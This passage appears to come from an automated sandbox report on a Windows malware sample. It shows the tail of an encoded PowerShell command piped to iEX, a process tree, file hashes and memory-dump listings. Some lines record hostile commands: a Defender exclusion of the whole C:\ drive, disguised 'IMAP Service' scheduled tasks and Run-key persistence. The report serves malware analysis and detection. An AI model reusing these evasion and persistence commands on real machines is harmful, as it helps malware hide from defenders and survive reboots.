QBRAEIANgBBAEMAOABBAFEAUQBCAFYAQQBFAGMAQQBMAHcAQgBCAEEARQB3AEEAVABBAEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBJAEEAQQBrAEEASABZAEEAWQBRAEIANgBBAEgAbwBBAGEAdwBCAGkAQQBHADgAQQBkAGcAQgA2AEEARwBRAEEAZQBRAEIAegBBAEcATQBBAGIAQQBBADcAQQBBADAAQQBDAGcAQgA5AEEARwBNAEEAWQBRAEIAMABBAEcATQBBAGEAQQBCADcAQQBIADAAQQAiACkAKQB8AGkARQBYAA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\ys.exe"C:\Users\Admin\AppData\Local\Temp\ys.exe"4⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 205⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Rlifexonjiantfxwzaeufs.vbs"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Local\Chromes.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rlifexonjiantfxwzaeufs.vbs"5⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Ksbonyprod.exe"C:\Users\Admin\AppData\Local\Temp\Ksbonyprod.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 207⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\ys.exeC:\Users\Admin\AppData\Local\Temp\ys.exe5⤵
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /create /f /tn "IMAP Service" /xml "C:\Users\Admin\AppData\Local\Temp\tmp8D42.tmp"6⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /create /f /tn "IMAP Service Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmpA130.tmp"6⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Ksbonyprod.exeMD5
45e7f37bccbd54018df2b32d0f7acf58
SHA197f97e12f74ab4c50b4b9b40c561fb1cd889629c
SHA256561d3fee6276834f78aadbb7dec4025b1e7cb2102ce864fa5da037da086da67a
SHA51227a232ea644e497cd2a45241535cc9dd703fe72b9b8ca785bcfc2de98e9bd0ba16744c6e3e505afc214d9538ea900bdf5cf84f0cb7e5bfa54e86389295d2acee
-
C:\Users\Admin\AppData\Local\Temp\Ksbonyprod.exeMD5
45e7f37bccbd54018df2b32d0f7acf58
SHA197f97e12f74ab4c50b4b9b40c561fb1cd889629c
SHA256561d3fee6276834f78aadbb7dec4025b1e7cb2102ce864fa5da037da086da67a
SHA51227a232ea644e497cd2a45241535cc9dd703fe72b9b8ca785bcfc2de98e9bd0ba16744c6e3e505afc214d9538ea900bdf5cf84f0cb7e5bfa54e86389295d2acee
-
C:\Users\Admin\AppData\Local\Temp\Rlifexonjiantfxwzaeufs.vbsMD5
eca342e6e0def7cb71365b69223fa9d0
SHA1cd87cc22065c4250c8e32381104d9fd92a34892d
SHA256cfd25af24487bb69b97ea662d11d9bbed7fdbdcd8ac6c6ef201b9498fef5b69f
SHA5120899ddd601167fa720bc4f7194996d07e1f9ea38ff57c939ec23c8ece3f25fa6674210a25fae5d2ee5b30aff7e936fb53c34d8c2afdef4ff99f7c92c6462a196
-
C:\Users\Admin\AppData\Local\Temp\_Rlifexonjiantfxwzaeufs.vbsMD5
7002eb22ceea392ed6e52904a17ed59d
SHA15026935720bf88bf1d7f24f80ac2e77dc043cacd
SHA256ce4aaa692483b8efb6ddc068fc2295113996518faf14710876e820442de47232
SHA512f559401a4dc549c76de0729dc1b25129d5bef22b1d8f3692edc8d787194774b7fb20e3a13f13acad70f4be0aa03ef9df72cc39dbd60cbf821dbcabeec0f237e2
-
C:\Users\Admin\AppData\Local\Temp\tmp8D42.tmpMD5
e48abc132ef1655f9b02d6be27db6a8e
SHA1d093a5e0ddbdc0e659446aa2a4e3d026fb8b0b1b
SHA25675a8016220f808bc17202846145efb39dd1410b794b449524de60803320b3b4b
SHA512ba824be5bda0b5b061108f50b9974ed2a38ed7ab158ccf4079d5dd21b004d3057e37bbb2fd55006747e241bcb67aa51bfd7fed17a9e5e81a7392296b721b3cbf
-
C:\Users\Admin\AppData\Local\Temp\tmpA130.tmpMD5
266ebd097e1267e63a5abfc1dededae8
SHA1b619bdaa65cbb17c86da3744e566e6a66c7057b4
SHA256b3689f65cd1048f673cda43b0f93ffddb45bc67da94a62335b7c75ba0f0b2852
SHA5124db2526f588777bfaf8b7d7799d19e5e384f0ed1fff1905196277383378a98e73b7952d4bccf22cd92c53b5d7f9c9057f896a773a58b1908fe4a41aadae047bd
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
78c5421613c24f65d421b7b9b49a7806
SHA1617e4eb5cf41ddea21d9be90f3483a446e626506
SHA256f200de14cf0a52f258a58cf5c6ec8a3f1197dc18ab0279fb079eaeaf4a3236fb
SHA5122638f89415ba6a1eb76bdd68c3f18828cb7c3c7b0a1919493123f06ca68e806017a6664fcb7eaa3de2273072509a55ae6aedd6e8129090905558d6f60949c1a0
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
78c5421613c24f65d421b7b9b49a7806
SHA1617e4eb5cf41ddea21d9be90f3483a446e626506
SHA256f200de14cf0a52f258a58cf5c6ec8a3f1197dc18ab0279fb079eaeaf4a3236fb
SHA5122638f89415ba6a1eb76bdd68c3f18828cb7c3c7b0a1919493123f06ca68e806017a6664fcb7eaa3de2273072509a55ae6aedd6e8129090905558d6f60949c1a0
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
f216454225c60a829ffc9325608900e2
SHA125cb73fa83d3bcdfdc8e4d57a7adf4c2facdf4de
SHA256cabad2f89d64f7448e9db15c0947643e0a9f1bf3157d60deda9f1cb363112e59
SHA512cdb9bcfea37468a3498e6b7f3ee69b03234063d812fb1dcb437d67a523589bc1d791792c8c643a586331f45c6213ab2a90d3bee70846c10dee488ec7a71dc568
-
\Users\Admin\AppData\Local\Temp\Ksbonyprod.exeMD5
45e7f37bccbd54018df2b32d0f7acf58
SHA197f97e12f74ab4c50b4b9b40c561fb1cd889629c
SHA256561d3fee6276834f78aadbb7dec4025b1e7cb2102ce864fa5da037da086da67a
SHA51227a232ea644e497cd2a45241535cc9dd703fe72b9b8ca785bcfc2de98e9bd0ba16744c6e3e505afc214d9538ea900bdf5cf84f0cb7e5bfa54e86389295d2acee
-
memory/516-111-0x0000000000000000-mapping.dmp
-
memory/764-113-0x0000000000000000-mapping.dmp
-
memory/832-97-0x0000000000000000-mapping.dmp
-
memory/832-105-0x0000000004CE0000-0x0000000004FB2000-memory.dmpFilesize
2.8MB
-
memory/832-109-0x0000000002410000-0x000000000305A000-memory.dmpFilesize
12.3MB
-
memory/832-108-0x0000000002410000-0x000000000305A000-memory.dmpFilesize
12.3MB
-
memory/832-110-0x0000000002410000-0x000000000305A000-memory.dmpFilesize
12.3MB
-
memory/964-88-0x0000000000000000-mapping.dmp
-
memory/964-101-0x0000000000EF0000-0x0000000000EF1000-memory.dmpFilesize
4KB
-
memory/964-134-0x0000000000B00000-0x0000000000B29000-memory.dmpFilesize
164KB
-
memory/964-96-0x0000000000250000-0x000000000029A000-memory.dmpFilesize
296KB
-
memory/964-91-0x00000000010E0000-0x00000000010E1000-memory.dmpFilesize
4KB
-
memory/1068-80-0x0000000000000000-mapping.dmp
-
memory/1076-56-0x0000000000000000-mapping.dmp
-
memory/1316-107-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1316-53-0x000000002F4D1000-0x000000002F4D4000-memory.dmpFilesize
12KB
-
memory/1316-54-0x0000000071341000-0x0000000071343000-memory.dmpFilesize
8KB
-
memory/1316-55-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1584-64-0x00000000059F0000-0x0000000005AC4000-memory.dmpFilesize
848KB
-
memory/1584-76-0x0000000008320000-0x00000000083C2000-memory.dmpFilesize
648KB
-
memory/1584-60-0x0000000000000000-mapping.dmp
-
memory/1584-61-0x0000000000860000-0x0000000000861000-memory.dmpFilesize
4KB
-
memory/1584-63-0x0000000004A50000-0x0000000004A51000-memory.dmpFilesize
4KB
-
memory/1592-65-0x0000000000000000-mapping.dmp
-
memory/1592-68-0x0000000004CD0000-0x0000000004FA2000-memory.dmpFilesize
2.8MB
-
memory/1592-71-0x0000000001EB2000-0x0000000001EB4000-memory.dmpFilesize
8KB
-
memory/1592-69-0x0000000001EB0000-0x0000000001EB1000-memory.dmpFilesize
4KB
-
memory/1592-70-0x0000000001EB1000-0x0000000001EB2000-memory.dmpFilesize
4KB
-
memory/1616-100-0x0000000004C60000-0x0000000004F32000-memory.dmpFilesize
2.8MB
-
memory/1616-82-0x0000000000000000-mapping.dmp
-
memory/1616-103-0x0000000002110000-0x0000000002D5A000-memory.dmpFilesize
12.3MB
-
memory/1616-104-0x0000000002110000-0x0000000002D5A000-memory.dmpFilesize
12.3MB
-
memory/1616-106-0x0000000002110000-0x0000000002D5A000-memory.dmpFilesize
12.3MB
-
memory/1756-86-0x000000000041E792-mapping.dmp
-
memory/1756-119-0x0000000000670000-0x0000000000685000-memory.dmpFilesize
84KB
-
memory/1756-129-0x0000000000D20000-0x0000000000D2F000-memory.dmpFilesize
60KB
-
memory/1756-128-0x0000000000D70000-0x0000000000D99000-memory.dmpFilesize
164KB
-
memory/1756-127-0x0000000000D00000-0x0000000000D0A000-memory.dmpFilesize
40KB
-
memory/1756-90-0x0000000000400000-0x0000000000438000-memory.dmpFilesize
224KB
-
memory/1756-84-0x0000000000400000-0x0000000000438000-memory.dmpFilesize
224KB
-
memory/1756-115-0x00000000003D0000-0x00000000003D5000-memory.dmpFilesize
20KB
-
memory/1756-116-0x00000000003E0000-0x00000000003F9000-memory.dmpFilesize
100KB
-
memory/1756-117-0x00000000004E0000-0x00000000004E3000-memory.dmpFilesize
12KB
-
memory/1756-118-0x0000000000550000-0x000000000055D000-memory.dmpFilesize
52KB
-
memory/1756-102-0x0000000000CA0000-0x0000000000CA1000-memory.dmpFilesize
4KB
-
memory/1756-120-0x0000000000840000-0x0000000000846000-memory.dmpFilesize
24KB
-
memory/1756-121-0x0000000000850000-0x000000000085C000-memory.dmpFilesize
48KB
-
memory/1756-122-0x0000000000C30000-0x0000000000C37000-memory.dmpFilesize
28KB
-
memory/1756-123-0x0000000000C80000-0x0000000000C86000-memory.dmpFilesize
24KB
-
memory/1756-125-0x0000000000CE0000-0x0000000000CE9000-memory.dmpFilesize
36KB
-
memory/1756-124-0x0000000000C90000-0x0000000000C9D000-memory.dmpFilesize
52KB
-
memory/1756-126-0x0000000000CF0000-0x0000000000CFF000-memory.dmpFilesize
60KB
-
memory/1840-59-0x00000000023A0000-0x0000000002FEA000-memory.dmpFilesize
12.3MB
-
memory/1840-57-0x0000000000000000-mapping.dmp
-
memory/1840-58-0x0000000075911000-0x0000000075913000-memory.dmpFilesize
8KB
-
memory/1984-77-0x0000000000000000-mapping.dmp